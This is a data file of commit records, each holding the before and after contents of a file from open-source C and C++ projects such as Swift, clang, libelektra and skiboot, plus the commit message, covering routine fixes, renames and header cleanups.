{"commit":"e88a8f74d643ad6636683ff5304645fb203db34e","old_file":"testmud\/mud\/home\/Account\/initd.c","new_file":"testmud\/mud\/home\/Account\/initd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Account\", 1);\n\n\tload_dir(\"sys\");\n\n\tLOGD->post_message(\"account\", LOG_DEBUG, \"Hello world from the account subsystem\");\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/log.h>\n#include <kotaka\/paths.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nstatic void create()\n{\n\tKERNELD->set_global_access(\"Account\", 1);\n\n\tload_dir(\"sys\");\n}\n","subject":"Remove spammy hello world from account system","message":"Remove spammy hello world from account system\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"bec95322a9361d3a0458e2ccae647dfb59821f0a","old_file":"include\/utilities\/utilities.h","new_file":"include\/utilities\/utilities.h","old_contents":"\/** \\file\n *\n *  \\brief            Inclusion of all utility function headers\n *\n *  \\date             Created:  Jul 12, 2014\n *  \\date             Modified: $Date$\n *\n *  \\authors          mauro <mauro@iis.ee.ethz.ch>\n *\n *  \\version          $Revision$\n *\/\n#ifndef LINALG_UTILITIES_UTILITIES_H_\n#define LINALG_UTILITIES_UTILITIES_H_\n\n\/\/ Keep this in alphabetical order\n#include \"buffer.h\"\n#include \"checks.h\"\n#include \"copy_array.h\"\n#include \"CSR.h\"\n#include \"format_convert.h\"\n#include \"IJV.h\"\n#include \"memory_allocation.h\"\n#include \"misc.h\"\n#include \"stringformat.h\"\n#include \"timer.h\"\n\n#endif \/* LINALG_UTILITIES_UTILITIES_H_ *\/\n","new_contents":"\/** \\file\n *\n *  \\brief            Inclusion of all utility function headers\n *\n *  \\date             Created:  Jul 12, 2014\n *  \\date             Modified: $Date$\n *\n *  \\authors          mauro <mauro@iis.ee.ethz.ch>\n *\n *  \\version          $Revision$\n *\/\n#ifndef LINALG_UTILITIES_UTILITIES_H_\n#define LINALG_UTILITIES_UTILITIES_H_\n\n\/\/ Keep this in alphabetical order\n#include \"buffer_helper.h\"\n#include \"checks.h\"\n#include \"copy_array.h\"\n#include \"CSR.h\"\n#include \"format_convert.h\"\n#include \"IJV.h\"\n#include \"memory_allocation.h\"\n#include \"misc.h\"\n#include \"stringformat.h\"\n#include \"timer.h\"\n\n#endif \/* LINALG_UTILITIES_UTILITIES_H_ *\/\n","subject":"Rename buffer.h to buffer_helper.h, part II","message":"Rename buffer.h to buffer_helper.h, part II\n","lang":"C","license":"bsd-3-clause","repos":"MauroCalderara\/LinAlg,MauroCalderara\/LinAlg,MauroCalderara\/LinAlg"}
{"commit":"b13325f74d96d7e0a24c6f62b0910d6739835d47","old_file":"src\/plugins\/crypto\/compile_openssl.c","new_file":"src\/plugins\/crypto\/compile_openssl.c","old_contents":"\/**\n * @file\n *\n * @brief tests if compilation works (include and build paths set correct, etc...)\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include <openssl\/evp.h>\n\nint main (void)\n{\n\tEVP_CIPHER_CTX * opensslSpecificType;\n\treturn 0;\n}\n","new_contents":"\/**\n * @file\n *\n * @brief tests if compilation works (include and build paths set correct, etc...)\n *\n * @copyright BSD License (see LICENSE.md or https:\/\/www.libelektra.org)\n *\n *\/\n\n#include <openssl\/evp.h>\n\nEVP_CIPHER_CTX * nothing (void)\n{\n\treturn NULL;\n}\n\nint main (void)\n{\n\tnothing ();\n\treturn 0;\n}\n","subject":"Fix detection of lib if we use `-Werror`","message":"OpenSSL: Fix detection of lib if we use `-Werror`\n\nBefore this update detecting OpenSSL would fail, if we treated warnings\nas errors (`-Werror`). The cause of this problem was that compiling\n`compile_openssl.cpp` produced a warning about an unused variable.\n","lang":"C","license":"bsd-3-clause","repos":"petermax2\/libelektra,e1528532\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,mpranj\/libelektra,petermax2\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,e1528532\/libelektra,e1528532\/libelektra,mpranj\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,petermax2\/libelektra,BernhardDenner\/libelektra,e1528532\/libelektra,mpranj\/libelektra,e1528532\/libelektra,e1528532\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra,e1528532\/libelektra,mpranj\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,ElektraInitiative\/libelektra,mpranj\/libelektra,BernhardDenner\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,mpranj\/libelektra,ElektraInitiative\/libelektra,petermax2\/libelektra,ElektraInitiative\/libelektra,BernhardDenner\/libelektra"}
{"commit":"c102f62a41137d6a75500d46e272bc95a63cfae9","old_file":"src\/kernel\/time\/time_manager.c","new_file":"src\/kernel\/time\/time_manager.c","old_contents":"\/*\n *\n * SOS Source Code\n * __________________\n *\n *  [2009] - [2013] Samuel Steven Truscott\n *  All Rights Reserved.\n *\/\n#include \"time_manager.h\"\n\n#include \"kernel\/kernel_assert.h\"\n#include \"time.h\"\n\nstatic int64_t __time_system_time_ns;\nstatic __clock_device_t * __time_system_clock;\n\nvoid __time_initialise(void)\n{\n\t__time_system_time_ns = 0;\n\t__time_system_clock = NULL;\n}\n\nvoid __time_set_system_clock(__clock_device_t * const device)\n{\n\t__time_system_clock = device;\n}\n\nsos_time_t __time_get_system_time(void)\n{\n\tsos_time_t time = SOS_ZERO_TIME;\n\n\tif (__time_system_clock)\n\t{\n\t\t__time_system_time_ns = (int64_t)__time_system_clock->get_time();\n\t\ttime.seconds = (int32_t)__time_system_time_ns \/ ONE_SECOND_AS_NANOSECONDS;\n\t\ttime.nanoseconds = (int64_t)(__time_system_time_ns - ((int64_t)time.seconds * ONE_SECOND_AS_NANOSECONDS));\n\t}\n\n\treturn time;\n}\n","new_contents":"\/*\n *\n * SOS Source Code\n * __________________\n *\n *  [2009] - [2013] Samuel Steven Truscott\n *  All Rights Reserved.\n *\/\n#include \"time_manager.h\"\n\n#include \"kernel\/kernel_assert.h\"\n#include \"time.h\"\n\nstatic uint64_t __time_system_time_ns;\nstatic __clock_device_t * __time_system_clock;\n\nvoid __time_initialise(void)\n{\n\t__time_system_time_ns = 0;\n\t__time_system_clock = NULL;\n}\n\nvoid __time_set_system_clock(__clock_device_t * const device)\n{\n\t__time_system_clock = device;\n}\n\nsos_time_t __time_get_system_time(void)\n{\n\tsos_time_t time = SOS_ZERO_TIME;\n\n\tif (__time_system_clock)\n\t{\n\t\t__time_system_time_ns = __time_system_clock->get_time();\n\t\ttime.seconds = __time_system_time_ns \/ ONE_SECOND_AS_NANOSECONDS;\n\t\ttime.nanoseconds = (int64_t)(__time_system_time_ns - ((int64_t)time.seconds * ONE_SECOND_AS_NANOSECONDS));\n\t}\n\n\treturn time;\n}\n","subject":"Fix the powerpc clock from the tbr.","message":"Fix the powerpc clock from the tbr.","lang":"C","license":"mit","repos":"sam-truscott\/tinker-kernel,sam-truscott\/tinker-kernel"}
{"commit":"c74ad610ca9a3078295910bd9c3ee91a19cc773c","old_file":"tests\/regression\/31-ikind-aware-ints\/06-unsigned-negate.c","new_file":"tests\/regression\/31-ikind-aware-ints\/06-unsigned-negate.c","old_contents":"","new_contents":"#include <assert.h>\n#include <stdio.h>\n\nint main(){\n    unsigned int x  = 1;\n\n    unsigned int y = -x;\n\n    assert(y == 4294967295);\n    printf(\"y: %u\\n\", y);\n    return 0;\n}\n","subject":"Add testcase: retain precision when negating unsigned value","message":"Add testcase: retain precision when negating unsigned value\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6772c4ea857328134e20eb6164d64b9ba2e038fd","old_file":"You-DataStore\/internal\/internal_transaction.h","new_file":"You-DataStore\/internal\/internal_transaction.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_INTERNAL_TRANSACTION_H_\n#define YOU_DATASTORE_INTERNAL_INTERNAL_TRANSACTION_H_\n\n#include <memory>\n#include <boost\/ptr_container\/ptr_deque.hpp>\n\n#include \"operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests { class DataStoreApiTest; }\nnamespace Internal {\n\n\/\/\/ The actual class that contains the logic for managing transactions.\nclass Transaction {\n\tfriend class DataStore;\n\tfriend class UnitTests::DataStoreApiTest;\n\npublic:\n\t\/\/\/ Default constructor. This is meant to be called by \\ref DataStore.\n\tTransaction() = default;\n\n\t\/\/\/ Commits the set of operations made.\n\tvoid commit();\n\n\t\/\/\/ Rolls back all the operations made.\n\tvoid rollback();\n\n\t\/\/\/ Pushes a transaction onto the stack. This is meant to be called by\n\t\/\/\/ \\ref DataStore.\n\t\/\/\/\n\t\/\/\/ \\param[in] operation The operation to push.\n\tvoid push(std::unique_ptr<IOperation> operation);\n\nprivate:\n\t\/\/\/ The set of operations that need to be executed when the transaction is\n\t\/\/\/ committed.\n\tboost::ptr_deque<IOperation> operationsQueue;\n};\n\n}  \/\/ namespace Internal\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_INTERNAL_TRANSACTION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_INTERNAL_TRANSACTION_H_\n#define YOU_DATASTORE_INTERNAL_INTERNAL_TRANSACTION_H_\n\n#include <memory>\n#include <boost\/ptr_container\/ptr_deque.hpp>\n\n#include \"operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests { class DataStoreApiTest; }\nnamespace Internal {\n\n\/\/\/ The actual class that contains the logic for managing transactions.\nclass Transaction {\n\tfriend class DataStore;\n\tfriend class UnitTests::DataStoreApiTest;\n\npublic:\n\t\/\/\/ Default constructor. This is meant to be called by \\ref DataStore.\n\tTransaction() = default;\n\n\t\/\/\/ Commits the set of operations made.\n\tvoid commit();\n\n\t\/\/\/ Rolls back all the operations made.\n\tvoid rollback();\n\n\t\/\/\/ Pushes a transaction onto the stack. This is meant to be called by\n\t\/\/\/ \\ref DataStore.\n\t\/\/\/\n\t\/\/\/ \\param[in] operation The operation to push.\n\tvoid push(std::unique_ptr<IOperation> operation);\n\n\t\/\/\/ Merges the operationsQueue of the next transaction that is committed\n\t\/\/\/ earlier.\n\t\/\/\/\n\t\/\/\/ \\param[in] queue The operations queue\n\tvoid mergeQueue(boost::ptr_deque<IOperation>& queue);\n\nprivate:\n\t\/\/\/ The set of operations that need to be executed when the transaction is\n\t\/\/\/ committed.\n\tboost::ptr_deque<IOperation> operationsQueue;\n\n\tboost::ptr_deque<IOperation> mergedOperationsQueue;\n};\n\n}  \/\/ namespace Internal\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_INTERNAL_TRANSACTION_H_\n","subject":"Add mergedOperationsQueue and mergeQueue to ensure correctness of file being modified","message":"Add mergedOperationsQueue and mergeQueue to ensure correctness of file being modified\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"03a6bc7bedc52d6173436f789cc0329086447927","old_file":"include\/swift\/Syntax\/TokenKinds.h","new_file":"include\/swift\/Syntax\/TokenKinds.h","old_contents":"\/\/===--- TokenKinds.h - Token Kinds Interface -------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the Token kinds.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_TOKENKINDS_H\n#define SWIFT_TOKENKINDS_H\n\nnamespace swift {\nenum class tok {\n#define TOKEN(X) X,\n#include \"swift\/Syntax\/TokenKinds.def\"\n\n  NUM_TOKENS\n};\n\n\/\/\/ Check whether a token kind is known to have any specific text content.\n\/\/\/ e.g., tol::l_paren has determined text however tok::identifier doesn't.\nbool isTokenTextDetermined(tok kind);\n\n\/\/\/ If a token kind has determined text, return the text; otherwise assert.\nStringRef getTokenText(tok kind);\n\nvoid dumpTokenKind(llvm::raw_ostream &os, tok kind);\n} \/\/ end namespace swift\n\n#endif \/\/ SWIFT_TOKENKINDS_H\n\n","new_contents":"\/\/===--- TokenKinds.h - Token Kinds Interface -------------------*- C++ -*-===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See https:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See https:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the Token kinds.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef SWIFT_TOKENKINDS_H\n#define SWIFT_TOKENKINDS_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nnamespace swift {\nenum class tok {\n#define TOKEN(X) X,\n#include \"swift\/Syntax\/TokenKinds.def\"\n\n  NUM_TOKENS\n};\n\n\/\/\/ Check whether a token kind is known to have any specific text content.\n\/\/\/ e.g., tol::l_paren has determined text however tok::identifier doesn't.\nbool isTokenTextDetermined(tok kind);\n\n\/\/\/ If a token kind has determined text, return the text; otherwise assert.\nStringRef getTokenText(tok kind);\n\nvoid dumpTokenKind(llvm::raw_ostream &os, tok kind);\n} \/\/ end namespace swift\n\n#endif \/\/ SWIFT_TOKENKINDS_H\n\n","subject":"Prepare the header for stand-alone usage.","message":"Prepare the header for stand-alone usage.\n","lang":"C","license":"apache-2.0","repos":"roambotics\/swift,rudkx\/swift,ahoppen\/swift,ahoppen\/swift,JGiola\/swift,atrick\/swift,apple\/swift,apple\/swift,tkremenek\/swift,benlangmuir\/swift,roambotics\/swift,tkremenek\/swift,xwu\/swift,rudkx\/swift,atrick\/swift,tkremenek\/swift,JGiola\/swift,xwu\/swift,atrick\/swift,glessard\/swift,roambotics\/swift,glessard\/swift,hooman\/swift,parkera\/swift,roambotics\/swift,apple\/swift,ahoppen\/swift,parkera\/swift,glessard\/swift,ahoppen\/swift,gregomni\/swift,xwu\/swift,gregomni\/swift,JGiola\/swift,JGiola\/swift,gregomni\/swift,JGiola\/swift,benlangmuir\/swift,roambotics\/swift,JGiola\/swift,tkremenek\/swift,parkera\/swift,tkremenek\/swift,rudkx\/swift,benlangmuir\/swift,xwu\/swift,glessard\/swift,benlangmuir\/swift,hooman\/swift,xwu\/swift,hooman\/swift,xwu\/swift,apple\/swift,tkremenek\/swift,ahoppen\/swift,hooman\/swift,apple\/swift,rudkx\/swift,parkera\/swift,hooman\/swift,hooman\/swift,xwu\/swift,hooman\/swift,parkera\/swift,parkera\/swift,parkera\/swift,roambotics\/swift,rudkx\/swift,tkremenek\/swift,gregomni\/swift,gregomni\/swift,atrick\/swift,benlangmuir\/swift,apple\/swift,benlangmuir\/swift,atrick\/swift,glessard\/swift,ahoppen\/swift,rudkx\/swift,atrick\/swift,parkera\/swift,glessard\/swift,gregomni\/swift"}
{"commit":"79162ce8caaf6d1f66666cdd52f677de812af47a","old_file":"test\/Preprocessor\/macro_paste_bcpl_comment.c","new_file":"test\/Preprocessor\/macro_paste_bcpl_comment.c","old_contents":"\/\/ RUN: clang-cc %s -Eonly 2>&1 | grep error\n\n#define COMM1 \/ ## \/\nCOMM1\n\n","new_contents":"\/\/ RUN: clang-cc %s -Eonly -fms-extensions=0 2>&1 | grep error\n\n#define COMM1 \/ ## \/\nCOMM1\n\n","subject":"Disable Microsoft extensions to fix failure on Windows.","message":"Disable Microsoft extensions to fix failure on Windows.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@84893 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c8e8ac42abb9225c3abfac036340548cfaaa0e92","old_file":"common\/opthelpers.h","new_file":"common\/opthelpers.h","old_contents":"#ifndef OPTHELPERS_H\n#define OPTHELPERS_H\n\n#ifdef __has_builtin\n#define HAS_BUILTIN __has_builtin\n#else\n#define HAS_BUILTIN(x) (0)\n#endif\n\n#ifdef __GNUC__\n\/* LIKELY optimizes the case where the condition is true. The condition is not\n * required to be true, but it can result in more optimal code for the true\n * path at the expense of a less optimal false path.\n *\/\n#define LIKELY(x) __builtin_expect(!!(x), !0)\n\/* The opposite of LIKELY, optimizing the case where the condition is false. *\/\n#define UNLIKELY(x) __builtin_expect(!!(x), 0)\n\/* Unlike LIKELY, ASSUME requires the condition to be true or else it invokes\n * undefined behavior. It's essentially an assert without actually checking the\n * condition at run-time, allowing for stronger optimizations than LIKELY.\n *\/\n#if HAS_BUILTIN(__builtin_assume)\n#define ASSUME __builtin_assume\n#else\n#define ASSUME(x) do { if(!(x)) __builtin_unreachable(); } while(0)\n#endif\n\n#else \/* __GNUC__ *\/\n\n#define LIKELY(x) (!!(x))\n#define UNLIKELY(x) (!!(x))\n#ifdef _MSC_VER\n#define ASSUME __assume\n#else\n#define ASSUME(x) ((void)0)\n#endif \/* _MSC_VER *\/\n#endif \/* __GNUC__ *\/\n\n#endif \/* OPTHELPERS_H *\/\n","new_contents":"#ifndef OPTHELPERS_H\n#define OPTHELPERS_H\n\n#ifdef __has_builtin\n#define HAS_BUILTIN __has_builtin\n#else\n#define HAS_BUILTIN(x) (0)\n#endif\n\n#ifdef __GNUC__\n\/* LIKELY optimizes the case where the condition is true. The condition is not\n * required to be true, but it can result in more optimal code for the true\n * path at the expense of a less optimal false path.\n *\/\n#define LIKELY(x) __builtin_expect(!!(x), !false)\n\/* The opposite of LIKELY, optimizing the case where the condition is false. *\/\n#define UNLIKELY(x) __builtin_expect(!!(x), false)\n\/* Unlike LIKELY, ASSUME requires the condition to be true or else it invokes\n * undefined behavior. It's essentially an assert without actually checking the\n * condition at run-time, allowing for stronger optimizations than LIKELY.\n *\/\n#if HAS_BUILTIN(__builtin_assume)\n#define ASSUME __builtin_assume\n#else\n#define ASSUME(x) do { if(!(x)) __builtin_unreachable(); } while(0)\n#endif\n\n#else \/* __GNUC__ *\/\n\n#define LIKELY(x) (!!(x))\n#define UNLIKELY(x) (!!(x))\n#ifdef _MSC_VER\n#define ASSUME __assume\n#else\n#define ASSUME(x) ((void)0)\n#endif \/* _MSC_VER *\/\n#endif \/* __GNUC__ *\/\n\n#endif \/* OPTHELPERS_H *\/\n","subject":"Use false instead of 0 for a boolean","message":"Use false instead of 0 for a boolean\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"a2af1d8bff1b3729048f95c8c266ef8f2fb4c861","old_file":"ps4\/histogram_omp.c","new_file":"ps4\/histogram_omp.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"bmp.h\"\n\nconst int image_width = 512;\nconst int image_height = 512;\nconst int image_size = 512*512;\nconst int color_depth = 255;\n\nint main(int argc, char** argv){\n\n    if(argc != 3){\n        printf(\"Useage: %s image n_threads\\n\", argv[0]);\n        exit(-1);\n    }\n    int n_threads = atoi(argv[2]);\n\n    unsigned char* image = read_bmp(argv[1]);\n    unsigned char* output_image = malloc(sizeof(unsigned char) * image_size);\n\n\n    int* histogram = (int*)calloc(sizeof(int), color_depth);\n    for(int i = 0; i < image_size; i++){\n        histogram[image[i]]++;\n    }\n\n\n    float* transfer_function = (float*)calloc(sizeof(float), color_depth);\n    for(int i = 0; i < color_depth; i++){\n        for(int j = 0; j < i+1; j++){\n            transfer_function[i] += color_depth*((float)histogram[j])\/(image_size);\n        }\n    }\n\n\n    for(int i = 0; i < image_size; i++){\n        output_image[i] = transfer_function[image[i]];\n    }\n\n    write_bmp(output_image, image_width, image_height);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"bmp.h\"\n\nconst int image_width = 512;\nconst int image_height = 512;\nconst int image_size = 512*512;\nconst int color_depth = 255;\n\nint main(int argc, char** argv){\n\n    if(argc != 3){\n        printf(\"Useage: %s image n_threads\\n\", argv[0]);\n        exit(-1);\n    }\n    int n_threads = atoi(argv[2]);\n\n    unsigned char* image = read_bmp(argv[1]);\n    unsigned char* output_image = malloc(sizeof(unsigned char) * image_size);\n\n\n    int* histogram = (int*)calloc(sizeof(int), color_depth);\n    #pragma omp parallel for\n    for(int i = 0; i < image_size; i++){\n        histogram[image[i]]++;\n    }\n\n\n    float* transfer_function = (float*)calloc(sizeof(float), color_depth);\n    #pragma omp parallel for\n    for(int i = 0; i < color_depth; i++){\n        for(int j = 0; j < i+1; j++){\n            transfer_function[i] += color_depth*((float)histogram[j])\/(image_size);\n        }\n    }\n\n\n    for(int i = 0; i < image_size; i++){\n        output_image[i] = transfer_function[image[i]];\n    }\n\n    write_bmp(output_image, image_width, image_height);\n}\n","subject":"Add paralellism with race conditions to omp","message":"Add paralellism with race conditions to omp\n","lang":"C","license":"apache-2.0","repos":"Raane\/Parallel-Computing,Raane\/Parallel-Computing"}
{"commit":"3caf8297799b2b227501404925cf8f1389cf0065","old_file":"libc\/include\/time.h","new_file":"libc\/include\/time.h","old_contents":"\/******************************************************************************\n * Copyright (c) 2004, 2008 IBM Corporation\n * All rights reserved.\n * This program and the accompanying materials\n * are made available under the terms of the BSD License\n * which accompanies this distribution, and is available at\n * http:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\n * Contributors:\n *     IBM Corporation - initial implementation\n *****************************************************************************\/\n#ifndef _TIME_H\n#define _TIME_H\n\nstruct tm {\n\tint tm_sec;\n\tint tm_min;\n\tint tm_hour;\n\tint tm_mday;\n\tint tm_mon;\n\tint tm_year;\n\n\t\/* unused in skiboot *\/\n\tint tm_wday;\n\tint tm_yday;\n\tint tm_isdst;\n};\n\ntypedef long time_t;\n\nstruct timespec {\n\ttime_t tv_sec;        \/* seconds *\/\n\tlong   tv_nsec;       \/* nanoseconds *\/\n};\n\nstruct tm *gmtime_r(const time_t *timep, struct tm *result);\ntime_t mktime(struct tm *tm);\n\n\/* Not implemented by libc but by hosting environment, however\n * this is where the prototype is expected\n *\/\nint nanosleep(const struct timespec *req, struct timespec *rem);\n\n#endif \/* _TIME_H *\/\n","new_contents":"\/******************************************************************************\n * Copyright (c) 2004, 2008 IBM Corporation\n * All rights reserved.\n * This program and the accompanying materials\n * are made available under the terms of the BSD License\n * which accompanies this distribution, and is available at\n * http:\/\/www.opensource.org\/licenses\/bsd-license.php\n *\n * Contributors:\n *     IBM Corporation - initial implementation\n *****************************************************************************\/\n#ifndef _TIME_H\n#define _TIME_H\n\nstruct tm {\n\tint tm_sec;\n\tint tm_min;\n\tint tm_hour;\n\tint tm_mday;\n\tint tm_mon;\n\tint tm_year;\n};\n\ntypedef long time_t;\n\nstruct timespec {\n\ttime_t tv_sec;        \/* seconds *\/\n\tlong   tv_nsec;       \/* nanoseconds *\/\n};\n\nstruct tm *gmtime_r(const time_t *timep, struct tm *result);\ntime_t mktime(struct tm *tm);\n\n\/* Not implemented by libc but by hosting environment, however\n * this is where the prototype is expected\n *\/\nint nanosleep(const struct timespec *req, struct timespec *rem);\n\n#endif \/* _TIME_H *\/\n","subject":"Remove unused struct tm elements","message":"Remove unused struct tm elements\n\nBetter to error out than suddenly have places use uninitalized data.\n\nSigned-off-by: Stewart Smith <ec31ab75ddf977353c8f660f92ea8b23f64aef25@linux.vnet.ibm.com>\n","lang":"C","license":"apache-2.0","repos":"stewart-ibm\/skiboot,legoater\/skiboot,csmart\/skiboot,legoater\/skiboot,apopple\/skiboot,open-power\/skiboot,legoater\/skiboot,stewart-ibm\/skiboot,qemu\/skiboot,qemu\/skiboot,apopple\/skiboot,qemu\/skiboot,ddstreet\/skiboot,shenki\/skiboot,shenki\/skiboot,mikey\/skiboot,qemu\/skiboot,legoater\/skiboot,open-power\/skiboot,ddstreet\/skiboot,shenki\/skiboot,csmart\/skiboot,stewart-ibm\/skiboot,legoater\/skiboot,mikey\/skiboot,csmart\/skiboot,qemu\/skiboot,ddstreet\/skiboot,open-power\/skiboot,open-power\/skiboot,shenki\/skiboot,shenki\/skiboot,apopple\/skiboot,mikey\/skiboot,open-power\/skiboot"}
{"commit":"f89548fb28969bff4aa298013090037bb45484c5","old_file":"media\/tx\/audio-tx.h","new_file":"media\/tx\/audio-tx.h","old_contents":"#ifndef __AUDIO_TX_H__\n#define __AUDIO_TX_H__\n\n#include <stdint.h>\n\ninit_audio_tx(const char* outfile, int codec_id,\n\t      int sample_rate, int bit_rate, int payload_type);\nint put_audio_samples_tx(int16_t* samples, int n_samples);\nint finish_audio_tx();\n\n#endif \/* __AUDIO_TX_H__ *\/","new_contents":"#ifndef __AUDIO_TX_H__\n#define __AUDIO_TX_H__\n\n#include <stdint.h>\n\nint init_audio_tx(const char* outfile, int codec_id,\n\t      int sample_rate, int bit_rate, int payload_type);\nint put_audio_samples_tx(int16_t* samples, int n_samples);\nint finish_audio_tx();\n\n#endif \/* __AUDIO_TX_H__ *\/","subject":"Add return type in definition of init_audio_tx function.","message":"Add return type in definition of init_audio_tx function.\n","lang":"C","license":"lgpl-2.1","repos":"Kurento\/kc-media-native,Kurento\/kc-media-native,shelsonjava\/kc-media-native,shelsonjava\/kc-media-native"}
{"commit":"e9b465ccf6e9ef2294487ea43caa669e94661e97","old_file":"digest\/DigestOOP.h","new_file":"digest\/DigestOOP.h","old_contents":"#pragma once\n\n#include <memory>\n#include <string>\n#ifdef __cpp_lib_string_view\n#include <string_view>\n#endif\n\nnamespace oop\n{\n\nclass Digest\n{\n public:\n  virtual ~Digest() {}\n  virtual void update(const void* data, int len) = 0;\n#ifdef __cpp_lib_string_view\n  void update(std::string_view str) { update(str.data(), str.length());\n#endif\n  virtual std::string digest() = 0;\n  virtual int length() const = 0;\n\n  enum Type\n  {\n    SHA1 = 1,\n    SHA256 = 2,\n    MD5 = 5,\n  };\n  static std::unique_ptr<Digest> create(Type t);\n\n protected:\n  Digest() {}\n\n private:\n  Digest(const Digest&) = delete;\n  void operator=(const Digest&) = delete;\n};\n\n}\n","new_contents":"#pragma once\n\n#include <memory>\n#include <string>\n#ifdef __cpp_lib_string_view\n#include <string_view>\n#endif\n\nnamespace oop\n{\n\nclass Digest\n{\n public:\n  virtual ~Digest() {}\n  virtual void update(const void* data, int len) = 0;\n#ifdef __cpp_lib_string_view\n  void update(std::string_view str)\n  {\n    update(str.data(), str.length());\n  }\n#endif\n  virtual std::string digest() = 0;\n  virtual int length() const = 0;\n\n  enum Type\n  {\n    SHA1 = 1,\n    SHA256 = 2,\n    MD5 = 5,\n  };\n  static std::unique_ptr<Digest> create(Type t);\n\n protected:\n  Digest() {}\n\n private:\n  Digest(const Digest&) = delete;\n  void operator=(const Digest&) = delete;\n};\n\n}\n","subject":"Fix digest oop for C++17.","message":"Fix digest oop for C++17.\n","lang":"C","license":"bsd-3-clause","repos":"chenshuo\/recipes,chenshuo\/recipes,chenshuo\/recipes,chenshuo\/recipes,chenshuo\/recipes,chenshuo\/recipes"}
